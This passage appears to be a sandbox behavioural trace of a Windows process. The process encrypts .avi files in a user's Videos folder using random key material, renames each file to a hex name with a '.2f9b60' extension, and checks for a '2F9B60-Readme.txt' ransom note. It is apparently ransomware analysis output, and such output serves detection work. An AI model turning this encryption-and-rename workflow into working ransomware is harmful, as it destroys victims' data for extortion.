lpNumberOfBytesWritten=0x250df850*=0x110, lpOverlapped=0x0) returned 1 [0094.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0094.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85f940 [0094.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0094.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0094.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97300 [0094.202] sprintf (in: _Dest=0x1cd97300, _Format="%c%c" | out: _Dest="18") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97302, _Format="%c%c" | out: _Dest="8a") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97304, _Format="%c%c" | out: _Dest="08") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97306, _Format="%c%c" | out: _Dest="ac") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97308, _Format="%c%c" | out: _Dest="4d") returned 2 [0094.202] sprintf (in: _Dest=0x1cd9730a, _Format="%c%c" | out: _Dest="8e") returned 2 [0094.202] sprintf (in: _Dest=0x1cd9730c, _Format="%c%c" | out: _Dest="9c") returned 2 [0094.202] sprintf (in: _Dest=0x1cd9730e, _Format="%c%c" | out: _Dest="81") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97310, _Format="%c%c" | out: _Dest="27") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97312, _Format="%c%c" | out: _Dest="35") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97314, _Format="%c%c" | out: _Dest="ab") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97316, _Format="%c%c" | out: _Dest="67") returned 2 [0094.202] sprintf (in: _Dest=0x1cd97318, _Format="%c%c" | out: _Dest="d8") returned 2 [0094.202] sprintf (in: _Dest=0x1cd9731a, _Format="%c%c" | out: _Dest="c7") returned 2 [0094.202] sprintf (in: _Dest=0x1cd9731c, _Format="%c%c" | out: _Dest="14") returned 2 [0094.203] sprintf (in: _Dest=0x1cd9731e, _Format="%c%c" | out: _Dest="26") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97320, _Format="%c%c" | out: _Dest="b5") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97322, _Format="%c%c" | out: _Dest="5e") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97324, _Format="%c%c" | out: _Dest="e7") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97326, _Format="%c%c" | out: _Dest="a5") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97328, _Format="%c%c" | out: _Dest="4c") returned 2 [0094.203] sprintf (in: _Dest=0x1cd9732a, _Format="%c%c" | out: _Dest="a6") returned 2 [0094.203] sprintf (in: _Dest=0x1cd9732c, _Format="%c%c" | out: _Dest="37") returned 2 [0094.203] sprintf (in: _Dest=0x1cd9732e, _Format="%c%c" | out: _Dest="23") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97330, _Format="%c%c" | out: _Dest="5d") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97332, _Format="%c%c" | out: _Dest="4b") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97334, _Format="%c%c" | out: _Dest="50") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97336, _Format="%c%c" | out: _Dest="3c") returned 2 [0094.203] sprintf (in: _Dest=0x1cd97338, _Format="%c%c" | out: _Dest="a3") returned 2 [0094.203] sprintf (in: _Dest=0x1cd9733a, _Format="%c%c" | out: _Dest="1e") returned 2 [0094.203] RtlInitAnsiString (in: DestinationString=0x250df8c8, SourceString="188a08ac4d8e9c812735ab67d8c71426b55ee7a54ca637235d4b503ca31e" | out: DestinationString="188a08ac4d8e9c812735ab67d8c71426b55ee7a54ca637235d4b503ca31e") [0094.203] RtlAnsiStringToUnicodeString (in: DestinationString=0x250df898, SourceString="188a08ac4d8e9c812735ab67d8c71426b55ee7a54ca637235d4b503ca31e", AllocateDestinationString=1 | out: DestinationString="188a08ac4d8e9c812735ab67d8c71426b55ee7a54ca637235d4b503ca31e") returned 0x0 [0094.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b784520 [0094.203] wcscat (in: _Dest=0x1b866840, _Source="188a08ac4d8e9c8" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\188a08ac4d8e9c8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\188a08ac4d8e9c8" [0094.204] wcscat (in: _Dest=0x1b866840, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\188a08ac4d8e9c8.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\188a08ac4d8e9c8.2f9b60" [0094.204] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\188a08ac4d8e9c8.2f9b60", NtPathName=0x250df870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\188a08ac4d8e9c8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad5c0 [0094.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.205] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x250df8d8, FileInformation=0x250df8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x250df8d8, FileInformation=0x250df8e8) returned 0x0 [0094.205] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x250df8d8, FileInformation=0x250df8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784520) returned 1 [0094.207] FlushFileBuffers (hFile=0xdac) returned 1 [0094.209] CloseHandle (hObject=0xdac) returned 1 [0094.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.209] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.210] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 Thread: id = 559 os_tid = 0xe80 [0094.222] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5c-bQozH-T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5c-bqozh-t.avi")) returned 0x20 [0094.222] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5c-bQozH-T.avi", dwFileAttributes=0x20) returned 1 [0094.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5c-bQozH-T.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5c-bqozh-t.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.223] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x1e6ff740 | out: lpFileSize=0x1e6ff740*=17568) returned 1 [0094.223] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x449c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.223] ReadFile (in: hFile=0xdac, lpBuffer=0x1e6ff6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e6ff708, lpOverlapped=0x0 | out: lpBuffer=0x1e6ff6c0*, lpNumberOfBytesRead=0x1e6ff708*=0x4, lpOverlapped=0x0) returned 1 [0094.224] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0094.225] NtQuerySystemTime (in: CurrentTime=0x1e6ff600 | out: CurrentTime=0x1e6ff600*=132462177000658000) returned 0x0 [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x2dc8dcd6 [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x3abcb65d [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x7d666087 [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x40f77a66 [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x7f2677fb [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x9f59504 [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x2390627a [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x14cec201 [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x7506c946 [0094.225] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x6aa56062 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x1118aa0d [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x7718493d [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x6ebe5e96 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x4cac125 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x109c76dc [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x3b7f1f20 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x33f08799 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0xfe20317 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x58e6b00e [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0xbf9fff3 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x35403bc4 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0xafafcdc [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x308f9ded [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x10ce21f5 [0094.226] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x4ebc4667 [0094.227] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x6c144470 [0094.227] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x1fd525eb [0094.227] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x44e2fe3a [0094.227] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0xca66dc9 [0094.227] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x782fa48d [0094.227] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x66932fd4 [0094.227] RtlRandomEx (in: Seed=0x1e6ff5f0 | out: Seed=0x1e6ff5f0) returned 0x6cafdee9 [0094.241] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.241] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e6ff660, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x1e6ff660*=0x3c00, lpOverlapped=0x0) returned 1 [0094.242] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8663c0 [0094.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0094.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85faf0 [0094.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85faf0) returned 1 [0094.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0094.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.243] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e6ff660, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x1e6ff660*=0x3c00, lpOverlapped=0x0) returned 1 [0094.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.273] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f2f0 [0094.273] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.273] WriteFile (in: hFile=0xdac, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x1e6ff710, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1e6ff710*=0x10e, lpOverlapped=0x0) returned 1 [0094.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8663c0 [0094.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fac0) returned 1 [0094.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85fac0 [0094.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0094.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f940) returned 1 [0094.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0094.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97300 [0094.275] sprintf (in: _Dest=0x1cd97300, _Format="%c%c" | out: _Dest="c7") returned 2 [0094.275] sprintf (in: _Dest=0x1cd97302, _Format="%c%c" | out: _Dest="95") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97304, _Format="%c%c" | out: _Dest="ad") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97306, _Format="%c%c" | out: _Dest="19") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97308, _Format="%c%c" | out: _Dest="88") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9730a, _Format="%c%c" | out: _Dest="2e") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9730c, _Format="%c%c" | out: _Dest="94") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9730e, _Format="%c%c" | out: _Dest="fe") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97310, _Format="%c%c" | out: _Dest="99") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97312, _Format="%c%c" | out: _Dest="03") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97314, _Format="%c%c" | out: _Dest="f0") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97316, _Format="%c%c" | out: _Dest="a4") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97318, _Format="%c%c" | out: _Dest="ff") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9731a, _Format="%c%c" | out: _Dest="69") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9731c, _Format="%c%c" | out: _Dest="84") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9731e, _Format="%c%c" | out: _Dest="60") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97320, _Format="%c%c" | out: _Dest="be") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97322, _Format="%c%c" | out: _Dest="91") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97324, _Format="%c%c" | out: _Dest="7f") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97326, _Format="%c%c" | out: _Dest="c9") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97328, _Format="%c%c" | out: _Dest="ac") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9732a, _Format="%c%c" | out: _Dest="1c") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9732c, _Format="%c%c" | out: _Dest="18") returned 2 [0094.276] sprintf (in: _Dest=0x1cd9732e, _Format="%c%c" | out: _Dest="da") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97330, _Format="%c%c" | out: _Dest="7d") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97332, _Format="%c%c" | out: _Dest="cd") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97334, _Format="%c%c" | out: _Dest="10") returned 2 [0094.276] sprintf (in: _Dest=0x1cd97336, _Format="%c%c" | out: _Dest="fc") returned 2 [0094.276] RtlInitAnsiString (in: DestinationString=0x1e6ff788, SourceString="c795ad19882e94fe9903f0a4ff698460be917fc9ac1c18da7dcd10fc" | out: DestinationString="c795ad19882e94fe9903f0a4ff698460be917fc9ac1c18da7dcd10fc") [0094.277] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e6ff758, SourceString="c795ad19882e94fe9903f0a4ff698460be917fc9ac1c18da7dcd10fc", AllocateDestinationString=1 | out: DestinationString="c795ad19882e94fe9903f0a4ff698460be917fc9ac1c18da7dcd10fc") returned 0x0 [0094.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866840 [0094.277] wcscat (in: _Dest=0x1b8663c0, _Source="c795ad19882e94" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\c795ad19882e94") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\c795ad19882e94" [0094.277] wcscat (in: _Dest=0x1b8663c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\c795ad19882e94.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\c795ad19882e94.2f9b60" [0094.277] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\c795ad19882e94.2f9b60", NtPathName=0x1e6ff730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\c795ad19882e94.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ad5c0 [0094.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.281] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x1e6ff798, FileInformation=0x1e6ff7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e6ff798, FileInformation=0x1e6ff7a8) returned 0x0 [0094.281] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x1e6ff798, FileInformation=0x1e6ff7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0094.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.283] FlushFileBuffers (hFile=0xdac) returned 1 [0094.284] CloseHandle (hObject=0xdac) returned 1 [0094.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.285] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.285] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.286] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ee20) returned 1 Thread: id = 560 os_tid = 0xe84 [0094.290] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6UMCbV.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6umcbv.avi")) returned 0x20 [0094.290] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6UMCbV.avi", dwFileAttributes=0x20) returned 1 [0094.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6UMCbV.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6umcbv.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.290] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x249bfb80 | out: lpFileSize=0x249bfb80*=36419) returned 1 [0094.290] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x8e3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.291] ReadFile (in: hFile=0xdac, lpBuffer=0x249bfb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x249bfb48, lpOverlapped=0x0 | out: lpBuffer=0x249bfb00*, lpNumberOfBytesRead=0x249bfb48*=0x4, lpOverlapped=0x0) returned 1 [0094.292] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.292] NtQuerySystemTime (in: CurrentTime=0x249bfa40 | out: CurrentTime=0x249bfa40*=132462177001282000) returned 0x0 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x5efaaad6 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x49181a70 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x1de7c746 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x31bd6dd [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x618d0ce4 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x56a31715 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x417bcbf4 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x24f8b197 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0xa9c900c [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x5ebb2d31 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x3a5a384a [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x7250d2fa [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x229f36fd [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x57674d75 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x68548716 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x23373c9b [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x2ecd3634 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x23cfd27c [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x1399e0fc [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x15d9e646 [0094.292] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x339cbd9b [0094.293] RtlRandomEx (in: Seed=0x249bfa30 | out: Seed=0x249bfa30) returned 0x4823005f [0094.293] RtlRandomEx (in: 